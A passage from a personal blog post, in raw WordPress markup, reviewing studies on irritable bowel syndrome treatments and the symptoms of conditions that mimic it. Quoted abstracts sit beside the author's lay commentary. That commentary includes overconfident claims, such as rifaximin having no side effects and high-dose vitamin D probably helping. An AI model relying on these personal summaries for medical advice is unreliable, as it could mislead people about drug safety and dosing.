&nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, 